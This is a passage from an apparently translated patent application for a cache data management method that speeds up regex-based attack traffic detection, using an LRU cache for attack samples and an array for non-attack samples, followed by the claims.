[0126] The second update module is used to execute each of the regular expressions in sequence for the target traffic data if the type identifier of the array element corresponding to the second hash value is found in the array as the fourth identifier, and store the cache item corresponding to the target traffic data in the first cache area according to the regular detection result corresponding to each of the regular expressions.

[0127] In one embodiment, the device further comprises:

[0128] The third update module is used to update the array according to the target traffic data and delete the cache item corresponding to the target traffic data from the first cache area if the first identification bits of the regular detection results corresponding to the regular expressions in the cache items corresponding to the target traffic data all indicate that the regular detection results have been initialized, and the second identification bits all indicate that the regular expression is not hit.

[0129] Each module in the cache data management device can be implemented in whole or in part by software, hardware, or a combination thereof. Each module can be embedded in or independent of a processor in a computer device in the form of hardware, or can be stored in a memory in a computer device in the form of software, so that the processor can call and execute operations corresponding to each module.

[0130] In an exemplary embodiment, a computer device is provided, which may be a terminal, and its internal structure diagram may be shown in FIG9. The computer device includes a processor, a memory, an input / output interface, a communication interface, a display unit, and an input device. The processor, the memory, and the input / output interface are connected via a system bus, and the communication interface, the display unit, and the input device are connected to the system bus via the input / output interface. The processor of the computer device is used to provide computing and control capabilities. The memory of the computer device includes a non-volatile storage medium and an internal memory. The non-volatile storage medium stores an operating system and a computer program. The internal memory provides an environment for the operation of the operating system and the computer program in the non-volatile storage medium. The input / output interface of the computer device is used to exchange information between the processor and an external device. The communication interface of the computer device is used to communicate with an external terminal in a wired or wireless manner, and the wireless manner may be implemented through WIFI, a mobile cellular network, near field communication (NFC) or other technologies. When the computer program is executed by the processor, a cache data management method is implemented. The display unit of the computer device is used to form a visually visible picture, which may be a display screen, a projection device, or a virtual reality imaging device. The display screen can be a liquid crystal display screen or an electronic ink display screen, and the input device of the computer device can be a touch layer covering the display screen, or a button, trackball or touchpad set on the computer device shell, or an external keyboard, touchpad or mouse.

[0131] Those skilled in the art will understand that the structure shown in FIG. 9 is merely a block diagram of a partial structure related to the solution of the present application, and does not constitute a limitation on the computer device to which the solution of the present application is applied. The specific computer device may include more or fewer components than shown in the figure, or combine certain components, or have a different arrangement of components.

[0132] In one embodiment, a computer device is further provided, including a memory and a processor, wherein a computer program is stored in the memory, and the processor implements the steps in the above method embodiments when executing the computer program.

[0133] In one embodiment, a computer-readable storage medium is provided, on which a computer program is stored. When the computer program is executed by a processor, the steps in the above-mentioned method embodiments are implemented.

[0134] In one embodiment, a computer program product is provided, including a computer program, which implements the steps in the above method embodiments when executed by a processor.

[0135] It should be noted that the user information (including but not limited to user device information, user personal information, etc.) and data (including but not limited to data used for analysis, stored data, displayed data, etc.) involved in this application are all information and data authorized by the user or fully authorized by all parties, and the collection, use and processing of relevant data must comply with relevant regulations.

[0136] A person of ordinary skill in the art can understand that all or part of the processes in the above-mentioned embodiment method can be completed by instructing the relevant hardware through a computer program, and the computer program can be stored in a non-volatile computer-readable storage medium. When the computer program is executed, it can include the processes of the embodiments of the above-mentioned methods. Among them, any reference to the memory, database or other medium used in the embodiments provided in the present application can include at least one of non-volatile memory and volatile memory. Non-volatile memory can include read-only memory (ROM), magnetic tape, floppy disk, flash memory, optical memory, high-density embedded non-volatile memory, resistive random access memory (ReRAM), magnetic random access memory (MRAM), ferroelectric random access memory (FRAM), phase change memory (PCM), graphene memory, etc. Volatile memory can include random access memory (RAM) or external cache memory, etc. As an illustration and not limitation, RAM can be in various forms, such as static random access memory (SRAM) or dynamic random access memory (DRAM). The database involved in each embodiment provided in this application may include at least one of a relational database and a non-relational database. Non-relational databases may include distributed databases based on blockchains, etc., but are not limited to this. The processor involved in each embodiment provided in this application may be a general-purpose processor, a central processing unit, a graphics processor, a digital signal processor, a programmable logic device, a data processing logic device based on quantum computing, an artificial intelligence (AI) processor, etc., but are not limited to this.

[0137] The technical features of the above embodiments may be combined arbitrarily. To make the description concise, not all possible combinations of the technical features in the above embodiments are described. However, as long as there is no contradiction in the combination of these technical features, they should be considered to be within the scope of this application.

[0138] The above-described embodiments only express several implementation methods of the present application, and the descriptions thereof are relatively specific and detailed, but they cannot be understood as limiting the scope of the present application. It should be pointed out that, for a person of ordinary skill in the art, several variations and improvements can be made without departing from the concept of the present application, and these all belong to the protection scope of the present application. Therefore, the protection scope of the present application shall be subject to the attached claims.

Claims

1. A cache data management method, characterized in that: The method comprises: Obtain target traffic data, and search for a detection result corresponding to the target traffic data from a first cache area, where the first cache area is used to cache cache items of attack traffic samples in an LRU cache manner, where the cache items include a key of the attack traffic sample and a regular detection result corresponding to each regular expression; If the detection result corresponding to the target traffic data is not found in the first cache area, the detection result corresponding to the target traffic data is searched from the second cache area, and the second cache area is used to cache type identifiers of non-attack traffic samples in an array manner, and the type identifier is used to identify that the regular detection results of the non-attack traffic samples for each of the regular expressions are all misses.

2. The method according to claim 1, characterized in that The step of searching the first cache area for a detection result corresponding to the target traffic data includes: Calculating a first hash value corresponding to the target traffic data, and determining a target bucket based on the first hash value corresponding to the target traffic data; According to the key of the target traffic data, the bidirectional linked list in the target bucket is traversed to obtain the cache item corresponding to the target traffic data, and the regular detection result of the target traffic data for each regular expression is obtained from the cache item.

3. The method according to claim 1, characterized in that The regular detection result corresponding to the regular expression in the cache item includes a first identification bit and a second identification bit, the first identification bit is used to identify whether the regular detection result corresponding to the regular expression has completed initialization, and the second identification bit is used to identify whether the regular detection result corresponding to the regular expression hits the regular expression.

4. The method according to claim 3, characterized in that The method further comprises: If a cache item corresponding to the target traffic data is found in the first cache area, and the cache item includes a regular detection result corresponding to the target regular expression, and the first identification bit of the regular detection result is a first identification, and the first identification indicates that the regular detection result has not been initialized, then the target regular expression is executed for the target traffic data to obtain the target regular detection result; For the cache item corresponding to the target traffic data, the first identification bit of the regular detection result corresponding to the target regular expression is updated to the second identification bit, wherein the second identification bit is used to indicate that the regular detection result has been initialized, and the second identification bit of the regular detection result corresponding to the target regular expression is updated according to the target regular detection result.

5. The method according to claim 1, characterized in that: The step of searching the second cache area for a detection result corresponding to the target traffic data includes: Calculating a second Hash value of the target traffic data; If the type identifier of the array element corresponding to the second hash value is found to be the third identifier in the array, it is determined that the detection result corresponding to the target traffic data is found.

6. The method according to claim 5, characterized in that The method further comprises: If the type identifier of the array element corresponding to the second hash value found in the array is the fourth identifier, each regular expression is executed in sequence for the target traffic data, and based on the regular detection results corresponding to each regular expression, the cache item corresponding to the target traffic data is stored in the first cache area.

7. The method according to claim 4 or 6, characterized in that: The method further comprises: In the first cache area, if in the cache items corresponding to the target traffic data, the first identification bits of the regular detection results corresponding to the regular expressions all indicate that the regular detection results have been initialized, and the second identification bits all indicate that the regular expressions are not hit, then the array is updated according to the target traffic data, and the cache items corresponding to the target traffic data are deleted from the first cache area.

8. A cache data management device, characterized in that: The device comprises: A first search module is used to obtain target traffic data and search for a detection result corresponding to the target traffic data from a first cache area, wherein the first cache area is used to cache cache items of attack traffic samples in an LRU cache manner, wherein the cache items include a key of the attack traffic sample and a regular detection result corresponding to each regular expression; The second search module is used to search for the detection result corresponding to the target traffic data in the second cache area if the detection result corresponding to the target traffic data is not found in the first cache area. The second cache area is used to cache the type identifier of the non-attack traffic sample in an array manner. The type identifier is used to identify that the regular detection results of the non-attack traffic sample for each of the regular expressions are all misses.

9. A computer device comprising a memory and a processor, wherein the memory stores a computer program, wherein: When the processor executes the computer program, the steps of the method according to any one of claims 1 to 7 are implemented.

10. A computer-readable storage medium having a computer program stored thereon, characterized in that: When the computer program is executed by a processor, the steps of the method according to any one of claims 1 to 7 are implemented.

Images